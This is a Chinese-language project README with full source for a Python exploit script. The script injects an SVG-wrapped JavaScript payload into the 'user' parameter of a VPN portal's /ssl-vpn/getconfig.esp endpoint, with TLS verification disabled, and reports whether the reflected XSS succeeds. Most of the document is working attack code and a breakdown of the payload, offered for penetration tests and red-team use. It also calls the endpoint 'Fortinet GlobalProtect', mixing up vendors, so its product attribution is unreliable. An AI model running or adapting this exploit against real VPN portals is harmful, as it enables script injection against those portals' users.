Fortinet SSL VPN XSS 漏洞利用脚本
项目描述
这是一个专门用于检测和利用 Fortinet GlobalProtect SSL VPN 端点中 /ssl-vpn/getconfig.esp 路径反射型 XSS(跨站脚本)漏洞的 Python 脚本。该工具通过构造特定的恶意 URL 参数,向目标服务器发送包含 SVG 和 JavaScript 的 payload,从而验证目标系统是否存在安全漏洞。脚本设计简洁高效,适合安全研究人员在授权测试环境中使用。
功能特性
- 自动化的漏洞检测:通过发送精心构造的 HTTP 请求自动检测目标是否存在 XSS 漏洞
- 精确的 payload 构造:针对 Fortinet GlobalProtect VPN 特定端点设计 payload,提高检测准确性
- 响应分析功能:自动分析服务器响应,判断 payload 是否被成功反射
- 状态码识别:能够识别常见的 HTTP 状态码(403、401、500)并提供相应的提示
- 友好的用户界面:提供清晰的命令行参数和运行时反馈
- 安全警告抑制:自动抑制 urllib3 模块的安全警告,保持输出整洁
安装指南
系统要求
- Python 3.x
- requests 库
安装步骤
- 克隆或下载本项目的代码文件
- 安装必要的 Python 依赖:
pip install requests
- 确保有权限执行 Python 脚本
注意事项
- 该工具仅限在授权测试环境中使用
- 使用前请确保已获得目标系统的测试授权
- 部分网络环境可能需要配置代理或调整超时设置
使用说明
基础使用
python3 exploit.py -u https://target.com
参数说明
-u,--url:目标的基础 URL(不要包含查询参数)- 示例:
https://vpn.example.com - 注意:脚本会自动去除 URL 末尾的斜杠
- 示例:
使用示例
- 检测单个目标:
python3 exploit.py -u https://vpn.company.com
- 运行结果说明:
- 如果响应中包含
prompt("mitsec"),则表示 XSS payload 被成功反射 - 状态码为 403、401 或 500 时,可能表示存在 WAF 或其他防护机制
- 脚本会显示响应内容的前 500 个字符供用户检查
- 如果响应中包含
典型使用场景
- 渗透测试中对 Fortinet VPN 系统的安全评估
- 红队演练中快速验证目标是否存在已知漏洞
- 安全研究人员对特定漏洞进行复现和验证
核心代码
1. 主执行脚本 (exploit.py)
import requests
import argparse
import warnings
# 抑制 urllib3 模块的安全警告
warnings.filterwarnings("ignore", category=UserWarning, module='urllib3')
# 预定义的 XSS payload 路径
PAYLOAD_PATH = (
"/ssl-vpn/getconfig.esp"
"?client-type=1"
"&protocol-version=p1"
"&app-version=3.0.1-10"
"&clientos=Linux"
"&os-version=linux-64"
"&hmac-algo=sha1%2Cmd5"
"&enc-algo=aes-128-cbc%2Caes-256-cbc"
"&authcookie=12cea70227d3aafbf25082fac1b6f51d"
"&portal=us-vpn-gw-N"
"&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22mitsec%22%29%3C%2Fscript%3E%3C%2Fsvg%3E"
"&domain=(empty_domain)"
"&computer=computer"
)
def build_exploit_url(base_url):
"""
构建完整的漏洞利用 URL
参数:
base_url: 目标基础URL
返回:
完整的漏洞利用URL
"""
# 去除URL末尾的斜杠
if base_url.endswith("/"):
base_url = base_url[:-1]
# 拼接payload路径
return base_url + PAYLOAD_PATH
def send_request(url):
"""
发送HTTP请求并分析响应
参数:
url: 完整的漏洞利用URL
"""
print(f"[+] Sending request to:\n{url}\n")
try:
# 发送GET请求,忽略SSL证书验证
response = requests.get(url, verify=False, timeout=10)
status = response.status_code
print(f"[+] Status Code: {status}")
# 根据状态码进行判断
if status in [403, 401, 500]:
print("[!] Access denied or server error (possible WAF/protection).")
elif "prompt(\"mitsec\")" in response.text or "prompt('mitsec')" in response.text:
print("[✅] XSS payload reflected! Look for prompt box on browser rendering.")
else:
print("[~] Payload not directly reflected. Review HTML manually.")
# 显示响应内容的前500个字符
print("\n--- Response Preview ---")
print(response.text[:500])
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
if __name__ == "__main__":
# 设置命令行参数解析器
parser = argparse.ArgumentParser(
description="🔥 XSS Exploit for Fortinet-style VPN portals (mitsec edition)"
)
parser.add_argument(
"-u", "--url",
required=True,
help="Base URL of the target (e.g., https://target.com)"
)
args = parser.parse_args()
# 构建完整URL并发送请求
full_url = build_exploit_url(args.url)
send_request(full_url)
2. XSS Payload 分析
<!-- 核心XSS payload结构 -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
prompt("mitsec") <!-- 触发JavaScript提示框 -->
</script>
</svg>
Payload 特点:
- 使用 SVG 标签作为载体,可绕过部分过滤机制
- 嵌入 JavaScript 代码执行
prompt()函数 - 经过 URL 编码后插入到
user参数中 - 设计简单有效,便于检测是否被服务器反射
3. URL 参数说明
# PAYLOAD_PATH 中的关键参数:
# client-type=1 - 客户端类型
# protocol-version=p1 - 协议版本
# app-version=3.0.1-10 - 应用程序版本
# clientos=Linux - 客户端操作系统
# os-version=linux-64 - 操作系统版本
# hmac-algo=sha1%2Cmd5 - HMAC算法
# enc-algo=aes-128-cbc%2Caes-256-cbc - 加密算法
# authcookie=12cea70227d3aafbf25082fac1b6f51d - 认证cookie(固定值)
# portal=us-vpn-gw-N - 门户名称
# user=<XSS_PAYLOAD> - 包含XSS payload的用户参数
# domain=(empty_domain) - 域名参数
# computer=computer - 计算机名参数
4. 响应处理逻辑
# 响应状态码处理逻辑
if status in [403, 401, 500]:
# 访问被拒绝或服务器错误
print("[!] Access denied or server error (possible WAF/protection).")
elif "prompt(\"mitsec\")" in response.text or "prompt('mitsec')" in response.text:
# XSS payload被成功反射
print("[✅] XSS payload reflected! Look for prompt box on browser rendering.")
else:
# payload未被直接反射
print("[~] Payload not directly reflected. Review HTML manually.")
这个核心逻辑确保了脚本能够准确判断漏洞是否存在,并提供清晰的反馈信息给使用者。